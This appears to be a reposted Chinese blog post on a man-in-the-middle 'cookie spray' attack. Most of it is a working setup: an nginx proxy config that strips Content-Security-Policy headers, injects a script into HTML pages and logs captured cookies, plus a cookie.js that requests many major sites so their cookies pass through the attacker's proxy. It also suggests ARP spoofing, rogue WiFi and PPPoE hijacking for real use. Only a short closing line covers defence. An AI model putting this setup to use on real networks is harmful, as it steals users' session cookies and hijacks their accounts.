中間人攻擊 -- Cookie 噴發

weixin_34321977發表於2016-09-07

0x00 前言

分享箇中間人攻擊姿勢,屢試不爽。

原本是篇老文,不過寫的太囉嗦。今天用簡明的文字,重新講一遍。

0x01 原理

傳統 cookie 嗅探,只能獲得使用者主動訪問的站點。不訪問就抓不到,效率很低。

如果流量可控,不如在使用者訪問的頁面中注入一個指令碼。通過指令碼,就可以請求任意站點:

new Image().src = 'http://anyhost'

因為請求頭部會帶上 cookie,所以能把任意站點的 cookie 騙上流量,讓中間人拿到。

0x02 爆發

首先收集各大網站域名,然後挨個來一發:

var list = ['qq.com', '163.com', 'weibo.com', ...];

for (var i of list) {
    new Image().src = 'http://' + i + '/__cookie';
}

這樣,就能把使用者各種網站的 cookie 都爆上一遍。

後端收到 /__cookie 請求,記錄其中的 cookie,然後返回一個空內容。於是只需極小的流量,就可以測試一個站點。

0x03 優化

因為收集了各種站點,所以需要大量的域名解析。

為了讓爆破更快,可以再劫持使用者的 DNS 請求,暫時解析成自己 IP,這樣域名查詢就不用走外網。

       DNS
     <----->
使用者          中間人       外網
     <----->
       HTTP

同時還有個巨大的好處:整個系統不依賴外網,可以離線劫持!

比如在沒網際網路的地方,開一個 WiFi 就能攻擊。

0x04 演示

我們用 nginx 來演示:

# nginx.conf

http {
    resolver            114.114.114.114;
    ...

    log_format          record_cookie '$time_iso8601 $remote_addr $http_host $http_cookie';

    # 靜態資源
    server {
        listen          8080;
        server_name     m.io;
        gzip            on;
        #expires         1d;
        root            /path/to/;
    }

    # 代理服務
    server {
        listen          8080 default_server;
        server_name     _;
        gzip            on;

        location / {
            # 請求的是 html 資源,進入劫持流程
            if ($http_accept ~ "text/html") {
                rewrite             ^   /__html;
            }
            # 其他資源,正常代理
            proxy_pass              http://$http_host;
        }

        # 頁面注入
        location = /__html {
            internal;

            # 壓縮的內容無法 sub_filter,先解壓
            proxy_set_header        host    $http_host;
            proxy_pass              http://127.0.0.1:50000$request_uri;

            # 刪除 CSP 頭,防止被阻擋
            proxy_hide_header       Content-Security-Policy;

            # 注入指令碼
            sub_filter              <head   "<script src=//m.io/cookie.js></script><head";
        }

        # 記錄 cookie
        location = /__cookie {
            access_log              /path/to/cookies.log  record_cookie;

            # 設定快取時間
            # 避免每次訪問頁面,都產生大量請求(其實在 js 裡判斷會更好)
            add_header              Cache-Control   "max-age=3600";

            # 返回空內容
            return                  200;
        }
    }

    # 解壓服務
    server {
        listen          127.0.0.1:50000;
        gunzip          on;

        location / {
            proxy_set_header        Accept-Encoding     deflate;
            proxy_pass              http://$host;
        }
    }
}

/path/to 目錄下,放置前端攻擊指令碼:

// cookie.js

(function(list) {
    if (self != top) return;

    list = list.split(' ');

    for (var i = 0; i < list.length; i++) {
        new Image().src = 'http://' + list[i] + '/__cookie';
    }
})(
    // 目標站點列表
    '163.com qq.com weibo.com'
)

把瀏覽器的 HTTP 代理設成 127.0.0.1:8080,就可以演示了。

開啟任意 HTTP 頁面,就可以爆出使用者的各種 Cookie:

273626-20160907142434973-196802143.png

273626-20160907142442629-660772621.png

實戰方式有很多,能控制流量就行。比如 ARP 攻擊、釣魚 WiFi、釣魚代理,或者劫持小區 PPPoE 網路,等等。

0x05 防範

其實和 JSONP、Flash 隱私洩露類似,關閉瀏覽器「第三方 cookie」即可。

三方 cookie 百害而無一利,隱私洩露的罪魁禍首。

相關文章